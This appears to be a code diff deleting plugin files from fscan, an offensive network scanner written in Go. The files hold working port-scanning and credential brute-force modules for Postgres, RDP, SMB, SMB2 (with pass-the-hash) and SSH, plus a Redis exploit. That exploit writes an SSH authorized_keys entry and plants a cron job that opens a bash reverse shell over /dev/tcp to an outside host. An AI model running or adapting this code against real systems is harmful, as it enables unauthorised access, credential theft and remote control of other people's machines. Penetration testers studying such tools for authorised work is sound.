temp[port] = struct{}{}
}
for _, port := range noPorts {
delete(temp, port)
}
var newDatas []int
for port := range temp {
newDatas = append(newDatas, port)
}
probePorts = newDatas
sort.Ints(probePorts)
}
workers := common.Threads
Addrs := make(chan Addr, 100)
results := make(chan string, 100)
var wg sync.WaitGroup
//接收结果
go func() {
for found := range results {
AliveAddress = append(AliveAddress, found)
wg.Done()
}
}()
//多线程扫描
for i := 0; i < workers; i++ {
go func() {
for addr := range Addrs {
PortConnect(addr, results, timeout, &wg)
wg.Done()
}
}()
}
//添加扫描目标
for _, port := range probePorts {
for _, host := range hostslist {
wg.Add(1)
Addrs <- Addr{host, port}
}
}
wg.Wait()
close(Addrs)
close(results)
return AliveAddress
}
func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
host, port := addr.ip, addr.port
conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
if err == nil {
defer conn.Close()
address := host + ":" + strconv.Itoa(port)
result := fmt.Sprintf("%s open", address)
common.LogSuccess(result)
wg.Add(1)
respondingHosts <- address
}
}
func NoPortScan(hostslist []string, ports string) (AliveAddress []string) {
probePorts := common.ParsePort(ports)
noPorts := common.ParsePort(common.NoPorts)
if len(noPorts) > 0 {
temp := map[int]struct{}{}
for _, port := range probePorts {
temp[port] = struct{}{}
}
for _, port := range noPorts {
delete(temp, port)
}
var newDatas []int
for port, _ := range temp {
newDatas = append(newDatas, port)
}
probePorts = newDatas
sort.Ints(probePorts)
}
for _, port := range probePorts {
for _, host := range hostslist {
address := host + ":" + strconv.Itoa(port)
AliveAddress = append(AliveAddress, address)
}
}
return
}

View File

@ -1,55 +0,0 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/lib/pq"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func PostgresScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["postgresql"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", string(user), -1)
flag, err := PostgresConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
}
}
return tmperr
}
func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
db, err := sql.Open("postgres", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("[+] Postgres:%v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
}

View File

@ -1,192 +0,0 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/tomatome/grdp/core"
"github.com/tomatome/grdp/glog"
"github.com/tomatome/grdp/protocol/nla"
"github.com/tomatome/grdp/protocol/pdu"
"github.com/tomatome/grdp/protocol/rfb"
"github.com/tomatome/grdp/protocol/sec"
"github.com/tomatome/grdp/protocol/t125"
"github.com/tomatome/grdp/protocol/tpkt"
"github.com/tomatome/grdp/protocol/x224"
"log"
"os"
"strconv"
"strings"
"sync"
"time"
)
type Brutelist struct {
user string
pass string
}
func RdpScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
var wg sync.WaitGroup
var signal bool
var num = 0
var all = len(common.Userdict["rdp"]) * len(common.Passwords)
var mutex sync.Mutex
brlist := make(chan Brutelist)
port, _ := strconv.Atoi(info.Ports)
for i := 0; i < common.BruteThread; i++ {
wg.Add(1)
go worker(info.Host, common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, common.Timeout)
}
for _, user := range common.Userdict["rdp"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
brlist <- Brutelist{user, pass}
}
}
close(brlist)
go func() {
wg.Wait()
signal = true
}()
for !signal {
}
return tmperr
}
func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist, signal *bool, num *int, all int, mutex *sync.Mutex, timeout int64) {
defer wg.Done()
for one := range brlist {
if *signal == true {
return
}
go incrNum(num, mutex)
user, pass := one.user, one.pass
flag, err := RdpConn(host, domain, user, pass, port, timeout)
if flag == true && err == nil {
var result string
if domain != "" {
result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass)
} else {
result = fmt.Sprintf("[+] RDP %v:%v:%v %v", host, port, user, pass)
}
common.LogSuccess(result)
*signal = true
return
} else {
errlog := fmt.Sprintf("[-] (%v/%v) rdp %v:%v %v %v %v", *num, all, host, port, user, pass, err)
common.LogError(errlog)
}
}
}
func incrNum(num *int, mutex *sync.Mutex) {
mutex.Lock()
*num = *num + 1
mutex.Unlock()
}
func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) {
target := fmt.Sprintf("%s:%d", ip, port)
g := NewClient(target, glog.NONE)
err := g.Login(domain, user, password, timeout)
if err == nil {
return true, nil
}
return false, err
}
type Client struct {
Host string // ip:port
tpkt *tpkt.TPKT
x224 *x224.X224
mcs *t125.MCSClient
sec *sec.Client
pdu *pdu.Client
vnc *rfb.RFB
}
func NewClient(host string, logLevel glog.LEVEL) *Client {
glog.SetLevel(logLevel)
logger := log.New(os.Stdout, "", 0)
glog.SetLogger(logger)
return &Client{
Host: host,
}
}
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
if err != nil {
return fmt.Errorf("[dial err] %v", err)
}
defer conn.Close()
glog.Info(conn.LocalAddr().String())
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
g.x224 = x224.New(g.tpkt)
g.mcs = t125.NewMCSClient(g.x224)
g.sec = sec.NewClient(g.mcs)
g.pdu = pdu.NewClient(g.sec)
g.sec.SetUser(user)
g.sec.SetPwd(pwd)
g.sec.SetDomain(domain)
//g.sec.SetClientAutoReconnect()
g.tpkt.SetFastPathListener(g.sec)
g.sec.SetFastPathListener(g.pdu)
g.pdu.SetFastPathSender(g.tpkt)
//g.x224.SetRequestedProtocol(x224.PROTOCOL_SSL)
//g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP)
err = g.x224.Connect()
if err != nil {
return fmt.Errorf("[x224 connect err] %v", err)
}
glog.Info("wait connect ok")
wg := &sync.WaitGroup{}
breakFlag := false
wg.Add(1)
g.pdu.On("error", func(e error) {
err = e
glog.Error("error", e)
g.pdu.Emit("done")
})
g.pdu.On("close", func() {
err = errors.New("close")
glog.Info("on close")
g.pdu.Emit("done")
})
g.pdu.On("success", func() {
err = nil
glog.Info("on success")
g.pdu.Emit("done")
})
g.pdu.On("ready", func() {
glog.Info("on ready")
g.pdu.Emit("done")
})
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
glog.Info("on update:", rectangles)
})
g.pdu.On("done", func() {
if breakFlag == false {
breakFlag = true
wg.Done()
}
})
wg.Wait()
return err
}

View File

@ -1,394 +0,0 @@
package Plugins
import (
"bufio"
"fmt"
"github.com/shadow1ng/fscan/common"
"io"
"net"
"os"
"strings"
"time"
)
var (
dbfilename string
dir string
)
func RedisScan(info *common.HostInfo) (tmperr error) {
starttime := time.Now().Unix()
flag, err := RedisUnauth(info)
if flag == true && err == nil {
return err
}
if common.IsBrute {
return
}
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", "redis", -1)
flag, err := RedisConn(info, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * common.Timeout) {
return err
}
}
}
return tmperr
}
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
if err != nil {
return flag, err
}
defer conn.Close()
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return flag, err
}
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
if err != nil {
return flag, err
}
reply, err := readreply(conn)
if err != nil {
return flag, err
}
if strings.Contains(reply, "+OK") {
flag = true
dbfilename, dir, err = getconfig(conn)
if err != nil {
result := fmt.Sprintf("[+] Redis %s %s", realhost, pass)
common.LogSuccess(result)
return flag, err
} else {
result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
common.LogSuccess(result)
}
err = Expoilt(realhost, conn)
}
return flag, err
}
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
if err != nil {
return flag, err
}
defer conn.Close()
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return flag, err
}
_, err = conn.Write([]byte("info\r\n"))
if err != nil {
return flag, err
}
reply, err := readreply(conn)
if err != nil {
return flag, err
}
if strings.Contains(reply, "redis_version") {
flag = true
dbfilename, dir, err = getconfig(conn)
if err != nil {
result := fmt.Sprintf("[+] Redis %s unauthorized", realhost)
common.LogSuccess(result)
return flag, err
} else {
result := fmt.Sprintf("[+] Redis %s unauthorized file:%s/%s", realhost, dir, dbfilename)
common.LogSuccess(result)
}
err = Expoilt(realhost, conn)
}
return flag, err
}
func Expoilt(realhost string, conn net.Conn) error {
if common.Noredistest {
return nil
}
flagSsh, flagCron, err := testwrite(conn)
if err != nil {
return err
}
if flagSsh == true {
result := fmt.Sprintf("[+] Redis %v like can write /root/.ssh/", realhost)
common.LogSuccess(result)
if common.RedisFile != "" {
writeok, text, err := writekey(conn, common.RedisFile)
if err != nil {
fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text))
return err
}
if writeok {
result := fmt.Sprintf("[+] Redis %v SSH public key was written successfully", realhost)
common.LogSuccess(result)
} else {
fmt.Println("[-] Redis ", realhost, "SSHPUB write failed", text)
}
}
}
if flagCron == true {
result := fmt.Sprintf("[+] Redis %v like can write /var/spool/cron/", realhost)
common.LogSuccess(result)
if common.RedisShell != "" {
writeok, text, err := writecron(conn, common.RedisShell)
if err != nil {
return err
}
if writeok {
result := fmt.Sprintf("[+] Redis %v /var/spool/cron/root was written successfully", realhost)
common.LogSuccess(result)
} else {
fmt.Println("[-] Redis ", realhost, "cron write failed", text)
}
}
}
err = recoverdb(dbfilename, dir, conn)
return err
}
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
flag = false
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err := conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
key, err := Readfile(filename)
if err != nil {
text = fmt.Sprintf("Open %s error, %v", filename, err)
return flag, text, err
}
if len(key) == 0 {
text = fmt.Sprintf("the keyfile %s is empty", filename)
return flag, text, err
}
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte("save\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
flag = true
}
}
}
}
text = strings.TrimSpace(text)
if len(text) > 50 {
text = text[:50]
}
return flag, text, err
}
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
flag = false
// 尝试写入Ubuntu的路径
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if !strings.Contains(text, "OK") {
// 如果没有返回"OK"可能是CentOS尝试CentOS的路径
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
target := strings.Split(host, ":")
if len(target) < 2 {
return flag, "host error", err
}
scanIp, scanPort := target[0], target[1]
_, err = conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte("save\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
flag = true
}
}
}
}
text = strings.TrimSpace(text)
if len(text) > 50 {
text = text[:50]
}
return flag, text, err
}
func Readfile(filename string) (string, error) {
file, err := os.Open(filename)
if err != nil {
return "", err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
return text, nil
}
}
return "", err
}
func readreply(conn net.Conn) (string, error) {
conn.SetReadDeadline(time.Now().Add(time.Second))
bytes, err := io.ReadAll(conn)
if len(bytes) > 0 {
err = nil
}
return string(bytes), err
}
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
var text string
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
if err != nil {
return flag, flagCron, err
}
text, err = readreply(conn)
if err != nil {
return flag, flagCron, err
}
if strings.Contains(text, "OK") {
flag = true
}
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
if err != nil {
return flag, flagCron, err
}
text, err = readreply(conn)
if err != nil {
return flag, flagCron, err
}
if strings.Contains(text, "OK") {
flagCron = true
}
return flag, flagCron, err
}
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
_, err = conn.Write([]byte("CONFIG GET dbfilename\r\n"))
if err != nil {
return
}
text, err := readreply(conn)
if err != nil {
return
}
text1 := strings.Split(text, "\r\n")
if len(text1) > 2 {
dbfilename = text1[len(text1)-2]
} else {
dbfilename = text1[0]
}
_, err = conn.Write([]byte("CONFIG GET dir\r\n"))
if err != nil {
return
}
text, err = readreply(conn)
if err != nil {
return
}
text1 = strings.Split(text, "\r\n")
if len(text1) > 2 {
dir = text1[len(text1)-2]
} else {
dir = text1[0]
}
return
}
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename)))
if err != nil {
return
}
_, err = readreply(conn)
if err != nil {
return
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
if err != nil {
return
}
_, err = readreply(conn)
if err != nil {
return
}
return
}

View File

@ -1,132 +0,0 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"reflect"
"strconv"
"strings"
"sync"
)
func Scan(info common.HostInfo) {
fmt.Println("start infoscan")
Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts)
if err != nil {
fmt.Println("len(hosts)==0", err)
return
}
lib.Inithttp()
var ch = make(chan struct{}, common.Threads)
var wg = sync.WaitGroup{}
web := strconv.Itoa(common.PORTList["web"])
ms17010 := strconv.Itoa(common.PORTList["ms17010"])
if len(Hosts) > 0 || len(common.HostPort) > 0 {
if common.NoPing == false && len(Hosts) > 1 || common.Scantype == "icmp" {
Hosts = CheckLive(Hosts, common.Ping)
fmt.Println("[*] Icmp alive hosts len is:", len(Hosts))
}
if common.Scantype == "icmp" {
common.LogWG.Wait()
return
}
var AlivePorts []string
if common.Scantype == "webonly" || common.Scantype == "webpoc" {
AlivePorts = NoPortScan(Hosts, common.Ports)
} else if common.Scantype == "hostname" {
common.Ports = "139"
AlivePorts = NoPortScan(Hosts, common.Ports)
} else if len(Hosts) > 0 {
AlivePorts = PortScan(Hosts, common.Ports, common.Timeout)
fmt.Println("[*] alive ports len is:", len(AlivePorts))
if common.Scantype == "portscan" {
common.LogWG.Wait()
return
}
}
if len(common.HostPort) > 0 {
AlivePorts = append(AlivePorts, common.HostPort...)
AlivePorts = common.RemoveDuplicate(AlivePorts)
common.HostPort = nil
fmt.Println("[*] AlivePorts len is:", len(AlivePorts))
}
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
for _, port := range common.PORTList {
severports = append(severports, strconv.Itoa(port))
}
fmt.Println("start vulscan")
for _, targetIP := range AlivePorts {
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
if common.Scantype == "all" || common.Scantype == "main" {
switch {
case info.Ports == "135":
AddScan(info.Ports, info, &ch, &wg) //findnet
if common.IsWmi {
AddScan("1000005", info, &ch, &wg) //wmiexec
}
case info.Ports == "445":
AddScan(ms17010, info, &ch, &wg) //ms17010
//AddScan(info.Ports, info, ch, &wg) //smb
//AddScan("1000002", info, ch, &wg) //smbghost
case info.Ports == "9000":
AddScan(web, info, &ch, &wg) //http
AddScan(info.Ports, info, &ch, &wg) //fcgiscan
case IsContain(severports, info.Ports):
AddScan(info.Ports, info, &ch, &wg) //plugins scan
default:
AddScan(web, info, &ch, &wg) //webtitle
}
} else {
scantype := strconv.Itoa(common.PORTList[common.Scantype])
AddScan(scantype, info, &ch, &wg)
}
}
}
for _, url := range common.Urls {
info.Url = url
AddScan(web, info, &ch, &wg)
}
wg.Wait()
common.LogWG.Wait()
close(common.Results)
fmt.Printf("已完成 %v/%v\n", common.End, common.Num)
}
var Mutex = &sync.Mutex{}
func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
*ch <- struct{}{}
wg.Add(1)
go func() {
Mutex.Lock()
common.Num += 1
Mutex.Unlock()
ScanFunc(&scantype, &info)
Mutex.Lock()
common.End += 1
Mutex.Unlock()
wg.Done()
<-*ch
}()
}
func ScanFunc(name *string, info *common.HostInfo) {
defer func() {
if err := recover(); err != nil {
fmt.Printf("[-] %v:%v scan error: %v\n", info.Host, info.Ports, err)
}
}()
f := reflect.ValueOf(PluginList[*name])
in := []reflect.Value{reflect.ValueOf(info)}
f.Call(in)
}
func IsContain(items []string, item string) bool {
for _, eachItem := range items {
if eachItem == item {
return true
}
}
return false
}

View File

@ -1,81 +0,0 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/stacktitan/smb/smb"
"strings"
"time"
)
func SmbScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return nil
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["smb"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := doWithTimeOut(info, user, pass)
if flag == true && err == nil {
var result string
if common.Domain != "" {
result = fmt.Sprintf("[+] SMB %v:%v:%v\\%v %v", info.Host, info.Ports, common.Domain, user, pass)
} else {
result = fmt.Sprintf("[+] SMB %v:%v:%v %v", info.Host, info.Ports, user, pass)
}
common.LogSuccess(result)
return err
} else {
errlog := fmt.Sprintf("[-] smb %v:%v %v %v %v", info.Host, 445, user, pass, err)
errlog = strings.Replace(errlog, "\n", "", -1)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
}
}
return tmperr
}
func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
flag = false
Host, Username, Password := info.Host, user, pass
options := smb.Options{
Host: Host,
Port: 445,
User: Username,
Password: Password,
Domain: common.Domain,
Workstation: "",
}
session, err := smb.NewSession(options, false)
if err == nil {
session.Close()
if session.IsAuthenticated {
flag = true
}
}
signal <- struct{}{}
return flag, err
}
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
signal := make(chan struct{})
go func() {
flag, err = SmblConn(info, user, pass, signal)
}()
select {
case <-signal:
return flag, err
case <-time.After(time.Duration(common.Timeout) * time.Second):
return false, errors.New("time out")
}
}

View File

@ -1,218 +0,0 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"os"
"strings"
"time"
"github.com/hirochachacha/go-smb2"
)
func SmbScan2(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return nil
}
hasprint := false
starttime := time.Now().Unix()
if len(common.HashBytes) > 0 {
for _, user := range common.Userdict["smb"] {
for _, hash := range common.HashBytes {
pass := ""
flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint)
if flag2 {
hasprint = true
}
if flag == true {
var result string
if common.Domain != "" {
result = fmt.Sprintf("[+] SMB2 %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
} else {
result = fmt.Sprintf("[+] SMB2 %v:%v:%v ", info.Host, info.Ports, user)
}
if len(hash) > 0 {
result += "hash: " + common.Hash
} else {
result += pass
}
common.LogSuccess(result)
return err
} else {
var errlog string
if len(common.Hash) > 0 {
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err)
} else {
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err)
}
errlog = strings.Replace(errlog, "\n", " ", -1)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.HashBytes)) * common.Timeout) {
return err
}
}
if len(common.Hash) > 0 {
break
}
}
}
} else {
for _, user := range common.Userdict["smb"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
hash := []byte{}
flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint)
if flag2 {
hasprint = true
}
if flag == true {
var result string
if common.Domain != "" {
result = fmt.Sprintf("[+] SMB2 %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
} else {
result = fmt.Sprintf("[+] SMB2 %v:%v:%v ", info.Host, info.Ports, user)
}
if len(hash) > 0 {
result += "hash: " + common.Hash
} else {
result += pass
}
common.LogSuccess(result)
return err
} else {
var errlog string
if len(common.Hash) > 0 {
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err)
} else {
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err)
}
errlog = strings.Replace(errlog, "\n", " ", -1)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
if len(common.Hash) > 0 {
break
}
}
}
}
return tmperr
}
func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(common.Timeout)*time.Second)
if err != nil {
return
}
defer conn.Close()
initiator := smb2.NTLMInitiator{
User: user,
Domain: common.Domain,
}
if len(hash) > 0 {
initiator.Hash = hash
} else {
initiator.Password = pass
}
d := &smb2.Dialer{
Initiator: &initiator,
}
s, err := d.Dial(conn)
if err != nil {
return
}
defer s.Logoff()
names, err := s.ListSharenames()
if err != nil {
return
}
if !hasprint {
var result string
if common.Domain != "" {
result = fmt.Sprintf("[*] SMB2-shares %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
} else {
result = fmt.Sprintf("[*] SMB2-shares %v:%v:%v ", info.Host, info.Ports, user)
}
if len(hash) > 0 {
result += "hash: " + common.Hash
} else {
result += pass
}
result = fmt.Sprintf("%v shares: %v", result, names)
common.LogSuccess(result)
flag2 = true
}
fs, err := s.Mount("C$")
if err != nil {
return
}
defer fs.Umount()
path := `Windows\win.ini`
f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
if err != nil {
return
}
defer f.Close()
flag = true
return
//bs, err := ioutil.ReadAll(f)
//if err != nil {
// return
//}
//fmt.Println(string(bs))
//return
}
//if info.Path == ""{
//}
//path = info.Path
//f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
//if err != nil {
// return
//}
//flag = true
//_, err = f.Seek(0, io.SeekStart)
//if err != nil {
// return
//}
//bs, err := ioutil.ReadAll(f)
//if err != nil {
// return
//}
//fmt.Println(string(bs))
//return
//f, err := fs.Create(`Users\Public\Videos\hello.txt`)
//if err != nil {
// return
//}
//flag = true
//
//_, err = f.Write([]byte("Hello world!"))
//if err != nil {
// return
//}
//
//_, err = f.Seek(0, io.SeekStart)
//if err != nil {
// return
//}
//bs, err := ioutil.ReadAll(f)
//if err != nil {
// return
//}
//fmt.Println(string(bs))
//return

View File

@ -1,97 +0,0 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/crypto/ssh"
"io/ioutil"
"net"
"strings"
"time"
)
func SshScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["ssh"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := SshConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
if common.SshKey != "" {
return err
}
}
}
return tmperr
}
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
var Auth []ssh.AuthMethod
if common.SshKey != "" {
pemBytes, err := ioutil.ReadFile(common.SshKey)
if err != nil {
return false, errors.New("read key failed" + err.Error())
}
signer, err := ssh.ParsePrivateKey(pemBytes)
if err != nil {
return false, errors.New("parse key failed" + err.Error())
}
Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
} else {
Auth = []ssh.AuthMethod{ssh.Password(Password)}
}
config := &ssh.ClientConfig{
User: Username,
Auth: Auth,
Timeout: time.Duration(common.Timeout) * time.Second,
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
},
}
client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", Host, Port), config)
if err == nil {
defer client.Close()
session, err := client.NewSession()
if err == nil {
defer session.Close()
flag = true
var result string
if common.Command != "" {
combo, _ := session.CombinedOutput(common.Command)
result = fmt.Sprintf("[+] SSH %v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
if common.SshKey != "" {
result = fmt.Sprintf("[+] SSH %v:%v sshkey correct \n %v", Host, Port, string(combo))
}
common.LogSuccess(result)
} else {
result = fmt.Sprintf("[+] SSH %v:%v:%v %v", Host, Port, Username, Password)
if common.SshKey != "" {
result = fmt.Sprintf("[+] SSH %v:%v sshkey correct", Host, Port)
}
common.LogSuccess(result)
}
}
}
return flag, err
}

View File

@ -1,256 +0,0 @@
package Plugins
import (
"compress/gzip"
"crypto/tls"
"fmt"
"io"
"net/http"
"net/url"
"regexp"
"strings"
"time"
"unicode/utf8"
"github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"golang.org/x/text/encoding/simplifiedchinese"
)
func WebTitle(info *common.HostInfo) error {
if common.Scantype == "webpoc" {
WebScan.WebScan(info)
return nil
}
err, CheckData := GOWebTitle(info)
info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
//不扫描打印机,避免打纸
for _, v := range info.Infostr {
if v == "打印机" {
return nil
}
}
if !common.NoPoc && err == nil {
WebScan.WebScan(info)
} else {
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
common.LogError(errlog)
}
return err
}
func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
if info.Url == "" {
switch info.Ports {
case "80":
info.Url = fmt.Sprintf("http://%s", info.Host)
case "443":
info.Url = fmt.Sprintf("https://%s", info.Host)
default:
host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
protocol := GetProtocol(host, common.Timeout)
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
}
} else {
if !strings.Contains(info.Url, "://") {
host := strings.Split(info.Url, "/")[0]
protocol := GetProtocol(host, common.Timeout)
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
}
}
err, result, CheckData := geturl(info, 1, CheckData)
if err != nil && !strings.Contains(err.Error(), "EOF") {
return
}
//有跳转
if strings.Contains(result, "://") {
info.Url = result
err, result, CheckData = geturl(info, 3, CheckData)
if err != nil {
return
}
}
if result == "https" && !strings.HasPrefix(info.Url, "https://") {
